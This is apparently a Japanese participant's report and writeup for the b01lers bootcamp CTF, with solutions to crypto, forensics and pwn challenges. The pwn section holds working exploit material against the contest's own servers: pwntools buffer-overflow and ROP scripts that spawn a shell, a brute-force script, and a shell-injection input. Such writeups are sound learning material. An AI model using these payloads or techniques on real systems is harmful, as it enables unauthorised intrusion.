b01lers bootcamp CTF 参加記 & Writeup
0. 雑
全然暇ではないけど、暇潰しに参加しました。
正の得点を得た人515人中74位だったんですが、多分真面目にガチ参加している人はあまりいないと思います(失礼)。
1. Crypto
1.1. Dream Stealing
Modulus: 98570307780590287344989641660271563150943084591122129236101184963953890610515286342182643236514124325672053304374355281945455993001454145469449640602102808287018619896494144221889411960418829067000944408910977857246549239617540588105788633268030690222998939690024329717050066864773464183557939988832150357227 One factor of N: 9695477612097814143634685975895486365012211256067236988184151482923787800058653259439240377630508988251817608592320391742708529901158658812320088090921919 Public key: 65537 Ciphertext: 75665489286663825011389014693118717144564492910496517817351278852753259053052732535663285501814281678158913989615919776491777945945627147232073116295758400365665526264438202825171012874266519752207522580833300789271016065464767771248100896706714555420620455039240658817899104768781122292162714745754316687483
い つ も の
\(N,P\) が分かっているので、\(P,Q\) が分かり、秘密鍵である \(d\) も分かります。後は復号しておしまい。
from Crypto.Util.number import inverse,long_to_bytes n=98570307780590287344989641660271563150943084591122129236101184963953890610515286342182643236514124325672053304374355281945455993001454145469449640602102808287018619896494144221889411960418829067000944408910977857246549239617540588105788633268030690222998939690024329717050066864773464183557939988832150357227 e=65537 c=75665489286663825011389014693118717144564492910496517817351278852753259053052732535663285501814281678158913989615919776491777945945627147232073116295758400365665526264438202825171012874266519752207522580833300789271016065464767771248100896706714555420620455039240658817899104768781122292162714745754316687483 p=9695477612097814143634685975895486365012211256067236988184151482923787800058653259439240377630508988251817608592320391742708529901158658812320088090921919 q=n//p phi=(p-1)*(q-1) d=inverse(e,phi) m=pow(c,d,n) flag=long_to_bytes(m).decode() print(flag)
1.2 Clear the Mind
n = 102346477809188164149666237875831487276093753138581452189150581288274762371458335130208782251999067431416740623801548745068435494069196452555130488551392351521104832433338347876647247145940791496418976816678614449219476252610877509106424219285651012126290668046420434492850711642394317803367090778362049205437 c = 4458558515804625757984145622008292910146092770232527464448604606202639682157127059968851563875246010604577447368616002300477986613082254856311395681221546841526780960776842385163089662821 e = 3
\(e\) が小さく、\(c\) が \(n\) より明らかに小さいので、元の文は \(c\) の三乗根っていういつもの。
from Crypto.Util.number import inverse,long_to_bytes c=4458558515804625757984145622008292910146092770232527464448604606202639682157127059968851563875246010604577447368616002300477986613082254856311395681221546841526780960776842385163089662821 ok=4458558515804625757984145622008292910146092770232527464448604606202639682157127059968851563875246010604577447368616002300477986613082254856311395681221546841526780960776842385163089662821 ng=0 while ok-ng>1: mid=(ok+ng)//2 if mid*mid*mid>=c: ok=mid else : ng=mid print(long_to_bytes(ok).decode())
1.3. Shared Dreaming
Hint 1: a1 ⊕ a2 ⊕ a3 ⊕ a4 = 8ba4c4dfce33fd6101cf5c56997531c024a10f1dc323eb7fe3841ac389747fb90e3418f90011ef2610fa3636cd6cf0002d19faa30d39161fbd45cc58abff6a84 Hint 2: a2 ⊕ a3 ⊕ a4 = f969375145322aba697ce9b4e00aa88e81ffe5c306b1b98148f33c4581b2ac39bc95f13b27c39f2311a590b7e27cdbdb7599f615acd70c45378e44fb319b8cb6 Hint 3: a1 ⊕ a3 = 855249b385f7b1d9923f71feb3bdee1032963ab51aa7b9d89a20c08c381e77890aa8849702d8791f8e636e833928ba6ea44c5f261983b7e29bd82e44b77fe03b Ciphertext: flag ⊕ a3 ⊕ RandByte = f694bc3d12a0673aead8fc4fdf964f5ec0c1d938e722bf333000f300088ead0dec1e7e03720331098068c13a066ca9bca89850a8ee67feb8471af5f47b4c0f13 Where RandByte[0] == RandByte[1] and len(RandByte) == len(flag)
Hint 1,2,3 より a3 が分かり、flag ⊕ RandByteの値も分かります。flagの接頭辞はどうせflag{
だろうと思ってxorを取るとどれも g
になったので、RandByteの値は g
と分かります。後は全文を g
で xor を取っておしまい。
from Crypto.Util.number import long_to_bytes hint1=0x8ba4c4dfce33fd6101cf5c56997531c024a10f1dc323eb7fe3841ac389747fb90e3418f90011ef2610fa3636cd6cf0002d19faa30d39161fbd45cc58abff6a84 hint2=0xf969375145322aba697ce9b4e00aa88e81ffe5c306b1b98148f33c4581b2ac39bc95f13b27c39f2311a590b7e27cdbdb7599f615acd70c45378e44fb319b8cb6 hint3=0x855249b385f7b1d9923f71feb3bdee1032963ab51aa7b9d89a20c08c381e77890aa8849702d8791f8e636e833928ba6ea44c5f261983b7e29bd82e44b77fe03b hint4=0xf694bc3d12a0673aead8fc4fdf964f5ec0c1d938e722bf333000f300088ead0dec1e7e03720331098068c13a066ca9bca89850a8ee67feb8471af5f47b4c0f13 a1=hint1^hint2 a3=hint3^a1 hint5=hint4^a3 def xor(msg, key): o = '' for i in range(len(msg)): o += chr(ord(msg[i]) ^ ord(key[i % len(key)])) return o hint6=long_to_bytes(hint5).decode() print(xor(hint6,"g"))
1.4. Train of Thought
dream dreams fantasticalities a neuropharmacologist neuropharmacy neuroharmacy psychopathologic oneirologic dichlorodiphenyltrichloroethane dichlorodiphenyltrichloroe chlorophenyltrichloroe chloromethanes fluorines cytodifferentiated differentiated
一見意味不明ですが、それぞれの編集距離を取るとなんと文が現れます(完全にエスパー)
from functools import lru_cache @lru_cache(maxsize=4096) def ld(s, t): if not s: return len(t) if not t: return len(s) if s[0] == t[0]: return ld(s[1:], t[1:]) l1 = ld(s, t[1:]) l2 = ld(s[1:], t) l3 = ld(s[1:], t[1:]) return 1 + min(l1, l2, l3) message="dream dreams fantasticalities a neuropharmacologist neuropharmacy neuroharmacy psychopathologic oneirologic dichlorodiphenyltrichloroethane dichlorodiphenyltrichloroe chlorophenyltrichloroe chloromethanes fluorines cytodifferentiated differentiated" m=message.split() ans=[] for i in range(len(m)-1): print(chr(0x60+ld(m[i],m[i+1])),end='') print("")
1.5. Totem
bacon , Base64 , atbash , rot13 の4種類のクエリが1000件飛んでくるので、全部正しく処理するとFLAGが得られます。競プロか???
虚無なのでコードは省略
2. Crypto World
mini問題集です。CRTとextGCDが大いに役に立ちました。月刊競技プログラミングは役に立つ
3. Misc
Misc とは言ってますが、ほとんどForensicsだと思います。
3.1. Echoes of Reality
音声スペクトル見るとFLAGが書いてあるやつ、ほとんどのCTFで見るんですが様式美ですか?笑
3.2. Granular Data
exiftool で exif を見ると flag が書かれています。
3.3. Needle In A Haystack
大量のテキストファイルが渡されますが、grep で flag 探せば一瞬です。
3.4. Zima Blue
明らかに隠したような画像ファイルだったので、Stegsolveだとエスパーしたら当たりました。
4. pwn
4.1. Metacortex
リバーシングしたら、時によって正しい入力が違いました(???)
正しい入力の範囲が大体分かっていたので、ブルートフォースしました。正解法、なんだろう...
from pwn import * for i in range(0x5500,0x5700): print(i) p=remote("chal.ctf.b01lers.com",1014) p.sendlineafter(b"Work for the respectable software company, Neo.\n",str(i)) try: p.sendline("echo flag") if b"flag" in p.recv(): p.interactive() exit(0) except: pass
4.2. There is no Spoon
#include <stdio.h> #include <unistd.h> #include <string.h> #include <stdlib.h> char * xor(char * src, char * dest, int len) { for(int i = 0; i < len - 1; i++) { dest[i] = src[i] ^ dest[i]; } dest[len-1] = 0; return dest; } int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); char buffer[256]; int len = 256; printf("Neo, enter your matrix: "); len = read(0, buffer, len); char * buffer2 = malloc(strlen(buffer)); int * changeme = malloc(sizeof(int)); *changeme = 255; printf("Reality: %d\n", *changeme); printf("Make your choice: "); len = read(0, buffer2, len); printf("Now bend reality. Remember: there is no spoon.\n"); char * result = xor(buffer2, buffer, len); printf("Result: %s\n", result); printf("Reality: %d\n", *changeme); if (*changeme != 0xff) { system("/bin/sh"); } }
見た感じ脆弱性がなさそうに見えますが、
char * buffer2 = malloc(strlen(buffer));
が脆弱性です。read
で返される長さは文字列中に Null byteが入っていても数えますが、strlen
で返されるのは Null byteまでです。そのため、bufferに '\x00' を送りつけることで
len = read(0, buffer2, len);
でBuffer Over Flowが引き起こされ、changemeを変える事ができました。
4.3. The Oracle
ただのBuffer Over Flow → 関数呼び出し。特に言うことなし
from pwn import * elf=ELF("./elf") p=remote("chal.ctf.b01lers.com",1015) payload=b"A"*24 payload+=p64(0x004010e4) payload+=p64(elf.symbols['win']) p.sendline(payload) p.interactive()
4.4. White Rabbit
どうやら入力したパスのファイルを cat で出力しているっぽいんですが、flag
という文字列を含む事はできません。
ソースコードを読むと、
[ -f input] && cat 'input' || echo File does not exist.
みたいなコマンドで実行していたので、インジェクションができて
'];/bin/sh;
と入力するとシェルを起動できます。あとは cat flag.txt
するだけです。
4.5. See for Yourself
#include <stdio.h> #include <unistd.h> #include <stdlib.h> char * binsh = "/bin/sh"; int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); system(NULL); char * shellcode[0]; printf("Unfortunately, no one can be told what the Matrix is. You have to see it for yourself.\n"); read(0, shellcode, 64); }
ご丁寧に '/bin/sh' まで用意されているので、普通に Buffer Over Flow → system@plt するだけです。リバーシングしなくても脆弱性攻撃だけで行けるタイプの問題は得意です。
from pwn import * elf=ELF("./elf") #p=process("./elf") p=remote("chal.ctf.b01lers.com",1008) payload=b"A"*8 payload+=p64(0x0040101a) # ret payload+=p64(0x00401273) # pop rdi; ret; payload+=p64(next(elf.search(b'/bin/sh'))) payload+=p64(0x000000000401080) # system@plt p.sendline(payload) p.interactive()
5. Rev,Web
あんまり解けませんでした。 (ノ∀`)アチャー